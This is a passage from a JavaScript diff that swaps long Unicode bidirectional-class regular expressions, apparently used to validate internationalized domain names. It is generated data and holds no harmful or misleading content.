{3134A}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}\u{F0000}-\u{FFFFD}\u{100000}-\u{10FFFD}]*$/u; -const bidiS6 = /[0-9A-Za-z\xAA\xB2\xB3\xB5\xB9\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02B8\u02BB-\u02C1\u02D0\u02D1\u02E0-\u02E4\u02EE\u0370-\u0373\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0482\u048A-\u052F\u0531-\u0556\u0559-\u0589\u06F0-\u06F9\u0903-\u0939\u093B\u093D-\u0940\u0949-\u094C\u094E-\u0950\u0958-\u0961\u0964-\u0980\u0982\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD-\u09C0\u09C7\u09C8\u09CB\u09CC\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E1\u09E6-\u09F1\u09F4-\u09FA\u09FC\u09FD\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3E-\u0A40\u0A59-\u0A5C\u0A5E\u0A66-\u0A6F\u0A72-\u0A74\u0A76\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD-\u0AC0\u0AC9\u0ACB\u0ACC\u0AD0\u0AE0\u0AE1\u0AE6-\u0AF0\u0AF9\u0B02\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B3E\u0B40\u0B47\u0B48\u0B4B\u0B4C\u0B57\u0B5C\u0B5D\u0B5F-\u0B61\u0B66-\u0B77\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE\u0BBF\u0BC1\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCC\u0BD0\u0BD7\u0BE6-\u0BF2\u0C01-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C41-\u0C44\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C66-\u0C6F\u0C77\u0C7F\u0C80\u0C82-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD-\u0CC4\u0CC6-\u0CC8\u0CCA\u0CCB\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0\u0CE1\u0CE6-\u0CEF\u0CF1\u0CF2\u0D02-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D40\u0D46-\u0D48\u0D4A-\u0D4C\u0D4E\u0D4F\u0D54-\u0D61\u0D66-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCF-\u0DD1\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2-\u0DF4\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E4F-\u0E5B\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00-\u0F17\u0F1A-\u0F34\u0F36\u0F38\u0F3E-\u0F47\u0F49-\u0F6C\u0F7F\u0F85\u0F88-\u0F8C\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE-\u0FDA\u1000-\u102C\u1031\u1038\u103B\u103C\u103F-\u1057\u105A-\u105D\u1061-\u1070\u1075-\u1081\u1083\u1084\u1087-\u108C\u108E-\u109C\u109E-\u10C5\u10C7\u10CD\u10D0-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1360-\u137C\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u167F\u1681-\u169A\u16A0-\u16F8\u1700-\u1711\u1715\u171F-\u1731\u1734-\u1736\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17B6\u17BE-\u17C5\u17C7\u17C8\u17D4-\u17DA\u17DC\u17E0-\u17E9\u1810-\u1819\u1820-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1923-\u1926\u1929-\u192B\u1930\u1931\u1933-\u1938\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A16\u1A19\u1A1A\u1A1E-\u1A55\u1A57\u1A61\u1A63\u1A64\u1A6D-\u1A72\u1A80-\u1A89\u1A90-\u1A99\u1AA0-\u1AAD\u1B04-\u1B33\u1B35\u1B3B\u1B3D-\u1B41\u1B43-\u1B4C\u1B50-\u1B6A\u1B74-\u1B7E\u1B82-\u1BA1\u1BA6\u1BA7\u1BAA\u1BAE-\u1BE5\u1BE7\u1BEA-\u1BEC\u1BEE\u1BF2\u1BF3\u1BFC-\u1C2B\u1C34\u1C35\u1C3B-\u1C49\u1C4D-\u1C88\u1C90-\u1CBA\u1CBD-\u1CC7\u1CD3\u1CE1\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5-\u1CF7\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200E\u2070\u2071\u2074-\u2079\u207F-\u2089\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u214F\u2160-\u2188\u2336-\u237A\u2395\u2488-\u24E9\u26AC\u2800-\u28FF\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D70\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u302E\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u3190-\u31BF\u31F0-\u321C\u3220-\u324F\u3260-\u327B\u327F-\u32B0\u32C0-\u32CB\u32D0-\u3376\u337B-\u33DD\u33E0-\u33FE\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA60C\uA610-\uA62B\uA640-\uA66E\uA680-\uA69D\uA6A0-\uA6EF\uA6F2-\uA6F7\uA722-\uA787\uA789-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA824\uA827\uA830-\uA837\uA840-\uA873\uA880-\uA8C3\uA8CE-\uA8D9\uA8F2-\uA8FE\uA900-\uA925\uA92E-\uA946\uA952\uA953\uA95F-\uA97C\uA983-\uA9B2\uA9B4\uA9B5\uA9BA\uA9BB\uA9BE-\uA9CD\uA9CF-\uA9D9\uA9DE-\uA9E4\uA9E6-\uA9FE\uAA00-\uAA28\uAA2F\uAA30\uAA33\uAA34\uAA40-\uAA42\uAA44-\uAA4B\uAA4D\uAA50-\uAA59\uAA5C-\uAA7B\uAA7D-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAAEB\uAAEE-\uAAF5\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB69\uAB70-\uABE4\uABE6\uABE7\uABE9-\uABEC\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uD800-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFF10-\uFF19\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC\u{10000}-\u{1000B}\u{1000D}-\u{10026}\u{10028}-\u{1003A}\u{1003C}\u{1003D}\u{1003F}-\u{1004D}\u{10050}-\u{1005D}\u{10080}-\u{100FA}\u{10100}\u{10102}\u{10107}-\u{10133}\u{10137}-\u{1013F}\u{1018D}\u{1018E}\u{101D0}-\u{101FC}\u{10280}-\u{1029C}\u{102A0}-\u{102D0}\u{102E1}-\u{102FB}\u{10300}-\u{10323}\u{1032D}-\u{1034A}\u{10350}-\u{10375}\u{10380}-\u{1039D}\u{1039F}-\u{103C3}\u{103C8}-\u{103D5}\u{10400}-\u{1049D}\u{104A0}-\u{104A9}\u{104B0}-\u{104D3}\u{104D8}-\u{104FB}\u{10500}-\u{10527}\u{10530}-\u{10563}\u{1056F}-\u{1057A}\u{1057C}-\u{1058A}\u{1058C}-\u{10592}\u{10594}\u{10595}\u{10597}-\u{105A1}\u{105A3}-\u{105B1}\u{105B3}-\u{105B9}\u{105BB}\u{105BC}\u{10600}-\u{10736}\u{10740}-\u{10755}\u{10760}-\u{10767}\u{10780}-\u{10785}\u{10787}-\u{107B0}\u{107B2}-\u{107BA}\u{11000}\u{11002}-\u{11037}\u{11047}-\u{1104D}\u{11066}-\u{1106F}\u{11071}\u{11072}\u{11075}\u{11082}-\u{110B2}\u{110B7}\u{110B8}\u{110BB}-\u{110C1}\u{110CD}\u{110D0}-\u{110E8}\u{110F0}-\u{110F9}\u{11103}-\u{11126}\u{1112C}\u{11136}-\u{11147}\u{11150}-\u{11172}\u{11174}-\u{11176}\u{11182}-\u{111B5}\u{111BF}-\u{111C8}\u{111CD}\u{111CE}\u{111D0}-\u{111DF}\u{111E1}-\u{111F4}\u{11200}-\u{11211}\u{11213}-\u{1122E}\u{11232}\u{11233}\u{11235}\u{11238}-\u{1123D}\u{11280}-\u{11286}\u{11288}\u{1128A}-\u{1128D}\u{1128F}-\u{1129D}\u{1129F}-\u{112A9}\u{112B0}-\u{112DE}\u{112E0}-\u{112E2}\u{112F0}-\u{112F9}\u{11302}\u{11303}\u{11305}-\u{1130C}\u{1130F}\u{11310}\u{11313}-\u{11328}\u{1132A}-\u{11330}\u{11332}\u{11333}\u{11335}-\u{11339}\u{1133D}-\u{1133F}\u{11341}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11350}\u{11357}\u{1135D}-\u{11363}\u{11400}-\u{11437}\u{11440}\u{11441}\u{11445}\u{11447}-\u{1145B}\u{1145D}\u{1145F}-\u{11461}\u{11480}-\u{114B2}\u{114B9}\u{114BB}-\u{114BE}\u{114C1}\u{114C4}-\u{114C7}\u{114D0}-\u{114D9}\u{11580}-\u{115B1}\u{115B8}-\u{115BB}\u{115BE}\u{115C1}-\u{115DB}\u{11600}-\u{11632}\u{1163B}\u{1163C}\u{1163E}\u{11641}-\u{11644}\u{11650}-\u{11659}\u{11680}-\u{116AA}\u{116AC}\u{116AE}\u{116AF}\u{116B6}\u{116B8}\u{116B9}\u{116C0}-\u{116C9}\u{11700}-\u{1171A}\u{11720}\u{11721}\u{11726}\u{11730}-\u{11746}\u{11800}-\u{1182E}\u{11838}\u{1183B}\u{118A0}-\u{118F2}\u{118FF}-\u{11906}\u{11909}\u{1190C}-\u{11913}\u{11915}\u{11916}\u{11918}-\u{11935}\u{11937}\u{11938}\u{1193D}\u{1193F}-\u{11942}\u{11944}-\u{11946}\u{11950}-\u{11959}\u{119A0}-\u{119A7}\u{119AA}-\u{119D3}\u{119DC}-\u{119DF}\u{119E1}-\u{119E4}\u{11A00}\u{11A07}\u{11A08}\u{11A0B}-\u{11A32}\u{11A39}\u{11A3A}\u{11A3F}-\u{11A46}\u{11A50}\u{11A57}\u{11A58}\u{11A5C}-\u{11A89}\u{11A97}\u{11A9A}-\u{11AA2}\u{11AB0}-\u{11AF8}\u{11C00}-\u{11C08}\u{11C0A}-\u{11C2F}\u{11C3E}-\u{11C45}\u{11C50}-\u{11C6C}\u{11C70}-\u{11C8F}\u{11CA9}\u{11CB1}\u{11CB4}\u{11D00}-\u{11D06}\u{11D08}\u{11D09}\u{11D0B}-\u{11D30}\u{11D46}\u{11D50}-\u{11D59}\u{11D60}-\u{11D65}\u{11D67}\u{11D68}\u{11D6A}-\u{11D8E}\u{11D93}\u{11D94}\u{11D96}\u{11D98}\u{11DA0}-\u{11DA9}\u{11EE0}-\u{11EF2}\u{11EF5}-\u{11EF8}\u{11FB0}\u{11FC0}-\u{11FD4}\u{11FFF}-\u{12399}\u{12400}-\u{1246E}\u{12470}-\u{12474}\u{12480}-\u{12543}\u{12F90}-\u{12FF2}\u{13000}-\u{1342E}\u{13430}-\u{13438}\u{14400}-\u{14646}\u{16800}-\u{16A38}\u{16A40}-\u{16A5E}\u{16A60}-\u{16A69}\u{16A6E}-\u{16ABE}\u{16AC0}-\u{16AC9}\u{16AD0}-\u{16AED}\u{16AF5}\u{16B00}-\u{16B2F}\u{16B37}-\u{16B45}\u{16B50}-\u{16B59}\u{16B5B}-\u{16B61}\u{16B63}-\u{16B77}\u{16B7D}-\u{16B8F}\u{16E40}-\u{16E9A}\u{16F00}-\u{16F4A}\u{16F50}-\u{16F87}\u{16F93}-\u{16F9F}\u{16FE0}\u{16FE1}\u{16FE3}\u{16FF0}\u{16FF1}\u{17000}-\u{187F7}\u{18800}-\u{18CD5}\u{18D00}-\u{18D08}\u{1AFF0}-\u{1AFF3}\u{1AFF5}-\u{1AFFB}\u{1AFFD}\u{1AFFE}\u{1B000}-\u{1B122}\u{1B150}-\u{1B152}\u{1B164}-\u{1B167}\u{1B170}-\u{1B2FB}\u{1BC00}-\u{1BC6A}\u{1BC70}-\u{1BC7C}\u{1BC80}-\u{1BC88}\u{1BC90}-\u{1BC99}\u{1BC9C}\u{1BC9F}\u{1CF50}-\u{1CFC3}\u{1D000}-\u{1D0F5}\u{1D100}-\u{1D126}\u{1D129}-\u{1D166}\u{1D16A}-\u{1D172}\u{1D183}\u{1D184}\u{1D18C}-\u{1D1A9}\u{1D1AE}-\u{1D1E8}\u{1D2E0}-\u{1D2F3}\u{1D360}-\u{1D378}\u{1D400}-\u{1D454}\u{1D456}-\u{1D49C}\u{1D49E}\u{1D49F}\u{1D4A2}\u{1D4A5}\u{1D4A6}\u{1D4A9}-\u{1D4AC}\u{1D4AE}-\u{1D4B9}\u{1D4BB}\u{1D4BD}-\u{1D4C3}\u{1D4C5}-\u{1D505}\u{1D507}-\u{1D50A}\u{1D50D}-\u{1D514}\u{1D516}-\u{1D51C}\u{1D51E}-\u{1D539}\u{1D53B}-\u{1D53E}\u{1D540}-\u{1D544}\u{1D546}\u{1D54A}-\u{1D550}\u{1D552}-\u{1D6A5}\u{1D6A8}-\u{1D6DA}\u{1D6DC}-\u{1D714}\u{1D716}-\u{1D74E}\u{1D750}-\u{1D788}\u{1D78A}-\u{1D7C2}\u{1D7C4}-\u{1D7CB}\u{1D7CE}-\u{1D9FF}\u{1DA37}-\u{1DA3A}\u{1DA6D}-\u{1DA74}\u{1DA76}-\u{1DA83}\u{1DA85}-\u{1DA8B}\u{1DF00}-\u{1DF1E}\u{1E100}-\u{1E12C}\u{1E137}-\u{1E13D}\u{1E140}-\u{1E149}\u{1E14E}\u{1E14F}\u{1E290}-\u{1E2AD}\u{1E2C0}-\u{1E2EB}\u{1E2F0}-\u{1E2F9}\u{1E7E0}-\u{1E7E6}\u{1E7E8}-\u{1E7EB}\u{1E7ED}\u{1E7EE}\u{1E7F0}-\u{1E7FE}\u{1F100}-\u{1F10A}\u{1F110}-\u{1F12E}\u{1F130}-\u{1F169}\u{1F170}-\u{1F1AC}\u{1F1E6}-\u{1F202}\u{1F210}-\u{1F23B}\u{1F240}-\u{1F248}\u{1F250}\u{1F251}\u{1FBF0}-\u{1FBF9}\u{20000}-\u{2A6DF}\u{2A700}-\u{2B738}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u{2F800}-\u{2FA1D}\u{30000}-\u{3134A}\u{F0000}-\u{FFFFD}\u{100000}-\u{10FFFD}][\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECD\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA82C\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10EAB}\u{10EAC}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11001}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}-\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A06}\u{11A09}\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D17B}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{E0100}-\u{E01EF}]*$/u; +const bidiS5 = /^[\0-\x08\x0E-\x1B!-\x84\x86-\u0377\u037A-\u037F\u0384-\u038A\u038C\u038E-\u03A1\u03A3-\u052F\u0531-\u0556\u0559-\u058A\u058D-\u058F\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0606\u0607\u0609\u060A\u060C\u060E-\u061A\u064B-\u065F\u066A\u0670\u06D6-\u06DC\u06DE-\u06E4\u06E7-\u06ED\u06F0-\u06F9\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07F6-\u07F9\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09FE\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A76\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AF1\u0AF9-\u0AFF\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B77\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BFA\u0C00-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3C-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58-\u0C5A\u0C5D\u0C60-\u0C63\u0C66-\u0C6F\u0C77-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1-\u0CF3\u0D00-\u0D0C\u0D0E-\u0D10\u0D12-\u0D44\u0D46-\u0D48\u0D4A-\u0D4F\u0D54-\u0D63\u0D66-\u0D7F\u0D81-\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2-\u0DF4\u0E01-\u0E3A\u0E3F-\u0E5B\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECE\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00-\u0F47\u0F49-\u0F6C\u0F71-\u0F97\u0F99-\u0FBC\u0FBE-\u0FCC\u0FCE-\u0FDA\u1000-\u10C5\u10C7\u10CD\u10D0-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u137C\u1380-\u1399\u13A0-\u13F5\u13F8-\u13FD\u1400-\u167F\u1681-\u169C\u16A0-\u16F8\u1700-\u1715\u171F-\u1736\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17DD\u17E0-\u17E9\u17F0-\u17F9\u1800-\u1819\u1820-\u1878\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1940\u1944-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u19DE-\u1A1B\u1A1E-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA0-\u1AAD\u1AB0-\u1ACE\u1B00-\u1B4C\u1B50-\u1B7E\u1B80-\u1BF3\u1BFC-\u1C37\u1C3B-\u1C49\u1C4D-\u1C88\u1C90-\u1CBA\u1CBD-\u1CC7\u1CD0-\u1CFA\u1D00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FC4\u1FC6-\u1FD3\u1FD6-\u1FDB\u1FDD-\u1FEF\u1FF2-\u1FF4\u1FF6-\u1FFE\u200B-\u200E\u2010-\u2027\u202F-\u205E\u2060-\u2064\u206A-\u2071\u2074-\u208E\u2090-\u209C\u20A0-\u20C0\u20D0-\u20F0\u2100-\u218B\u2190-\u2426\u2440-\u244A\u2460-\u2B73\u2B76-\u2B95\u2B97-\u2CF3\u2CF9-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D70\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2E